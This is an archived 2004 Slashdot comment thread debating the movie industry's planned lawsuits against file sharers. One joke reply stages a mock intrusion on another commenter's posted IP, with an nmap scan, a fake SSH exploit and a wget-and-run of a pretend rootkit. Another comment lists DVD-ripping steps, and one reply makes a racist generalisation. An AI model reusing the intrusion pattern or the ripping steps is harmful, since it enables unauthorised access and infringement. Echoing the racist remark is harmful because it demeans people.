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Movie Industry to sue File Sharers

Wack Valenti writes "SiliconValley.com reports that the motion picture industry, taking a cue from the RIAA, is planning to file copyright infringement lawsuits against file sharers it says are illegally distributing movies online. The first suits could be filed as early as tomorrow."

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  1. Stargate Atlantis by Anonymous Coward · · Score: 5, Interesting

    I got a warning letter from my friends at MGM and bay TSP about illegally sharing my 2 episodes of stargate atlantis. I thought, hey, they are tv shows, and they arent on dvd... why would they care. Well, they did care, and they sent me a letter. And you know what? because of that letter, I havent used a p2p app since. I think that if they just focused on scaring people with letters, they would get the job done just as well, without looking evil like the RIAA

  2. conspiracy theorists rejoice by Anubis350 · · Score: 5, Interesting

    this comes right after bush gets re-elected.
    seriously though, it is kinda interesting that after a couple years of wait and see, they've suddenly decided to file these suits after bush (friend of corporations, etc) is firmly back in power

    mod me down as flame-bait if you want, I just find it an interesting point, not conspiracy but it makes sense; they waited until they knew the party that would support them was going to be in power for a while before they moved.

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    1. Re:conspiracy theorists rejoice by Anonymous Coward · · Score: 5, Informative

      A Democrat President, with bi-partisan congressional support, passed both the DMCA and the Sonny Bono Copyright Extension Act.

      The Ninth Circuit is considered the most liberal in the country, and yet it has been very friendly to the members of the RIAA and MPAA.

      Poor government knows no party.

    2. Re:conspiracy theorists rejoice by Lord+Kano · · Score: 5, Interesting

      seriously though, it is kinda interesting that after a couple years of wait and see, they've suddenly decided to file these suits after bush (friend of corporations, etc) is firmly back in power

      Hollywood was solidly backing Kerry, maybe this is their temper tantrum because "their guy" didn't win.

      LK

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    3. Re:conspiracy theorists rejoice by TuballoyThunder · · Score: 5, Informative
      Actually it is not very interesting. One of the biggest advocates of the entertainment industry is Rep Howard Berman (D-CA). Some of the sponsors of the INDUCE Act are Senators Hillary Clinton (D-NY), Debbie Stabenow (D-MI) and Paul Sarbanes (D-MD). You can click the names to see the top contributers. It is interesting to note that neither Stabenow or Sarbanes receives much (if any) money from the entertainment industry.

      Unless you have been living on Mars for the last eight months, you might have noticed that George Bush is not the darling of the entertainment industry. If you look at the top contributers not one of them are from the entertainment industry. One cannot say the same for John Kerry. The top contributors include Time Warner and Viacom. If you look at the RNC ($2.8M) and the DNC ($5.7M) who do you think is more beholden to the entertainment industry?

      I think it is obvious that the actions of the entertainment industry is independent of the occupant of the White House. The Democrats are as friendly to corporations as the Republicans. If you believe otherwise, then you have tasted to much of the Kool-Aid. I hope you voted Nader, because both the Democrats and the Republicans are not for you.

  3. Please by Anonymous Coward · · Score: 5, Funny

    Shhh.. don't say anything about Usenet

  4. Re:what has the world come to by NotQuiteReal · · Score: 5, Funny
    Suing customers [...]

    Um, I think the point is that they are NOT paying customers...

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  5. Funny thing is.. by SocialEngineer · · Score: 5, Interesting

    I was told I was actually a target, by our dean of men here at my college. I have no idea why - I wasn't downloading or sharing any movies, nor could I even CONNECT to p2p networks because of the filtering systems in place (I use p2p to share security docs and my own music I have written). Yup. He said the MPAA had contacted the school and was prepared to sue if it was in necessary, or something like that. I guess I'll find out tomorrow if he was full of crap or not, won't I? :)

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  6. It's not legal in any case by Dancin_Santa · · Score: 5, Insightful

    'Sharing' of these copyrighted works is not legal in the first place. While it's not going to engender any great love for the film industry, this move is one of the many legal recourses that they have against copyright violators.

    To be honest, I'd rather see a return to the days of 5 dollar tickets and extra extra buttered popcorn and a Coke for a couple bucks more than see the movie industry devolve into this legal sewer. With DVD sales doing well, it becomes more and more reasonable to watch a movie in your house. With the proliferation of file-shared movies online, the quality of playback becomes less an issue as viewers get attuned to the lower bitrates.

    Personally, I'd rather go see the films in a theater and don't mind paying a couple bucks to do so. Lately, it's been getting outrageously expensive, well passed the point where one could argue that it was merely inflation. I'm not saying that file sharing would be curbed by cheaper theater tickets, god knows the addictive powers of the free movie drug. But I do think that they could really recreate the concept of the "blockbuster" with a little less take at the box office.

    In short, file sharing copyrighted works is illegal. The movie industry probably shouldn't do this, but are well within their rights to litigate. I'd like to watch movies at the theater but not pay so much.

  7. Comment removed by account_deleted · · Score: 5, Funny

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  8. USENET by Longtime+Lurker · · Score: 5, Interesting
    This has always made me wonder. Why are they targetting just p2p and not USENET? I know you can pull down a lot of files from USENET with the benefit of a centralized server so you don't have to wait for a ton of people to jump on to get your bandwidth capped.

    I always wondered why USENET is not targetted.

  9. For those of us with DVD burners it's REALLY simpl by ShatteredDream · · Score: 5, Informative

    Rent a DVD from blockbuster
    Play it with VideoLan client
    Open up dvd smartripper
    Rip the DVD
    Run the ripped files through DVD2One
    Burn to a DVD

  10. Re:Why only now? by ScrewMaster · · Score: 5, Insightful

    Well, what I find interesting is that they're going ahead with it, in the face of the RIAA's near-total failure. Sure, they screwed up some people's lives, but they haven't really done anything positive for their member companies so far as slowing the pace of file sharing. Come to think of it, they haven't really done anything positive for their members. But, hey ... maybe the MPAA figures that a double-whammy (music and movies) will be more successful. Personally, I doubt it.

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  11. Yawn... by Aaron+England · · Score: 5, Interesting

    Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

    1. Re:Yawn... by pyrrhonist · · Score: 5, Funny
      Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

      Dear Mr. England,

      Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:

      $ nmap -P0 -sT 199.2.120.89

      Starting nmap 3.70 ( http://www.insecure.org/nmap ) at 2004-11-03 22:47 Eastern Standard Time
      Interesting ports on 199.2.120.89:
      PORT STATE SERVICE
      22/tcp open ssh

      Nmap run completed -- 1 IP address (1 host up) scanned in 1.732 seconds

      $ supersshnuke --root-shell 199.2.120.89

      Contacting 199.2.120.89... Connected!
      Detecting SSH version... Done!
      SSH on this machine is: older than dirt
      Attempting sploit... PWNED!
      Dropping you into a root shell...

      # wget -q http://mpaa.org/rootkit/linux/suite-6.22.sh
      # sh suite-6.22.sh
      MPAA Customer Compliance Suite V6.22
      Downloading MCCS Components... 100%
      Installing MCCS... 100%
      Configuring MCCS... 100%
      Starting MCCS...
      Done!
      # tail /var/log/messages
      Nov 3 22:59:50 localhost mccs: blocked evil site "suprnova.org"
      Nov 3 22:59:56 localhost mccs: killed evil p2p application "edonkey"
      Nov 3 22:59:57 localhost mccs: killed evil p2p application "bitorrent"
      Nov 3 22:59:58 localhost mccs: killed evil p2p application "irc"
      Nov 3 23:00:10 localhost mccs: DRM compliance scan started...
      Nov 3 23:02:12 localhost mccs: deleting non-compliant file, "speed-movie.mp4"
      Nov 3 23:02:13 localhost mccs: deleting non-compliant file, "lordofrings.divx"
      Nov 3 23:02:14 localhost mccs: deleting MPAA embarrassment, "free-willy.mp4"
      Nov 3 23:02:15 localhost mccs: deleting non-compliant file, "deep-throat.mp4"
      Your computer is now safe from non-compliance. Thank you for your cooperation.

      Sincerely,
      Mortimer Snerd
      MPAA Compliance Officer

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  12. Now that we have proven... by IBitOBear · · Score: 5, Insightful

    Now that we have proven we are sheeple who will roll over for just about anything as long as the spin is right, why *SHOULDN'T* they sue?

    As far as I am concerned, at this point we should all be doing our best to hasten the decline.

    Everybod jump on the pendlum and push. It's gotta swing trough it's arc before there will be any relief. The United States of America has to legislate and litigate itself into its role as a backwater far off the information super-highway, before anything here can get fixed.

    The sooner the rest of the world leaves us in the economic and Intellectual Property [sic] dust, the better.

    In fact, if the corporations can make enough of a mess SOON ENOUGH, it could even prevent the stupid legislation.

    Sue Away, MPAA! (hey it rymes, it should be their new slogan! 8-)

    As environmental pressure increases, the organisim is forced to evolve.

    So it will be _best_ for the world if we can all get the pressure up as fast as possible.

    Plus we know how much credibility the US now has overseas. The more they win here, the freer the rest of the world will be. They *know* (hopefully) that if they follow our lead, then they will enevitably end up with a Bush of their own.

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    1. Re:Now that we have proven... by suckmysav · · Score: 5, Insightful

      "As far as I am concerned, at this point we should all be doing our best to hasten the decline. Everybod jump on the pendlum and push. It's gotta swing trough it's arc before there will be any relief. The United States of America has to legislate and litigate itself into its role as a backwater far off the information super-highway, before anything here can get fixed."

      Amen to that brother! I was rooting for Shrub to win the election for that very reason! He is pretty much despised (and rightly so) down here in Australia, and you'd better believe that the people I told that to reacted with shock and disbelief.

      The sooner the U.S. destroys itself, the sooner the rest of us can carry on our lives without being subjected to every base pop media fad to emerge from the rancid American slum-culture de jour.

      Just why a middle class Australian would want to emulate the lifestyle of a crack addicted black urban slum dweller eludes me.

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  13. Re:what has the world come to by iamplasma · · Score: 5, Interesting
    They just want to steal more money from more people.

    Fill me in here in case I missed something, but how are the movie theaters stealing money from anyone? I mean, at least you can claim (however implausibly) that stealing music is okay because the companies make rediculous margins and rip off the artists. That doesn't even remotely apply to movie studios though, it's not like actors are underpaid (in fact, I understand they have a very strong union), and the amount they charge customers is far less relatively speaking. I mean, paying a few bucks to see a $200million movie isn't a bad deal.

    So to reiterate my question, how are the movie companies stealing your money?

  14. Takes one to know one... by petra13 · · Score: 5, Interesting
    Ok, in all fairness I haven't verified whether or not this is true (feel free to correct me)- but supposedly the reason the movie industry established itself in California in the first place was because people who wanted to make movies were having patent issues with Thomas Edison. They went out west where enforcing patent law wasn't a big deal and screwed Edison out of a profit.

    So now the RIAA are going to go after people for violating copyright law and screwing them out of their profit. *Sigh* Not that it's the same people in charge now... but still. Anyone want to vote hypocritical bastards?

  15. Politics and Business Pendlum analogy works by IBitOBear · · Score: 5, Insightful

    It is not as flawed as you presume. The period is highly unstable and subject to external forces, but eventually it swings.

    When you repress your own businesses, the market goes elsewhere. That is the free market theory at least. To date the swing of the pendlum often leaves countries totally devistated in its wake if it goes to far, but the regions recover even if the political systems don't.

    I beleive that the current economic trends are tanamount to disaster and if the "ugly" can come on fast enough to be noticed by the populace they may act to fixe it.

    We are boiling frogs here (to mix a metaphore). If the "Broadcast flag" (for instance) were to "suddenly go live tomorrow" it would be gone in a year. If we let it ease in slowly we may be stuck with it for decades.

    As it is now, the "rising rate-rate of litigation" (yes, rate twice) is enough that our economic partners around the world are starting to notice and scatter. But consider that this change of rate has been exhibited almost solely in my lifetime (or more correctly in Ralph Nader's professional lifetime). It has not yet become ensconsed in our "perminant" way of life, it hasn't outlived a generation cradle-to-grave. It isn't "tradition", so it is possible to escape it *IF* we can get the public to see the precipice.

    I don't really "wish" for the colapse as some kind of nielist orgastic ideal. I have just become convinced that it is essentially enevitable.

    (To continue to mix metaphores) we *really* need to pull the band-aid(tm) off quick, or we are going to lose a _heck_ of a lot of hair... 8-)

    But even if the entire United States colapses economically (which would be hard to do given that we grow lots of food) business and creativity will simply rise somewhere else.

    It's not a pretty pendulum. It's not a "local" pendulum. But the cycle persists.

    Wehn it gets totally out of wack, we (editorial we not royal or possessive we) throw a war...

    Oh wait...

    How many wars does any given "we" get before the world calls a time-out? 8-)

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  16. Nonstory. Cheeks have already been spread. by GojiraDeMonstah · · Score: 5, Insightful

    Lesssee here. You willingly re-elected a president who has done more damage to the bill of rights than any person in the country's history. A man who has shown a clear preference for the interests of large corporations over the people he is supposed to lead. So the *AA's abusive and heavy handed tactics are surprising... how?

    It seems that this is clearly the kind of thing Americans want. If the capacity for outrage doesn't exist for prisoners of war abused in Iraq, if it doesn't exist for voting machine manufacturers pledging money and support for only one party, if it doesn't exist for the zero accountability expected of the Enron, Worldcom, and Haliburton criminals... why should any American give a second thought to the people who will be fscked by the MPAA?

    As has been said by people more eloquent than I, it's too late anyway.

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  17. Re:Not so long ago, the EFF suggested just this. by c0p0n · · Score: 5, Funny

    ... I currently use Kazaa to share out a handful of audio sermons from my church's pastor ...

    You're tricking a bit the kazaa credit system, eeh? Cool way of having a gig of mp3 available that you know nobody is gonna download.

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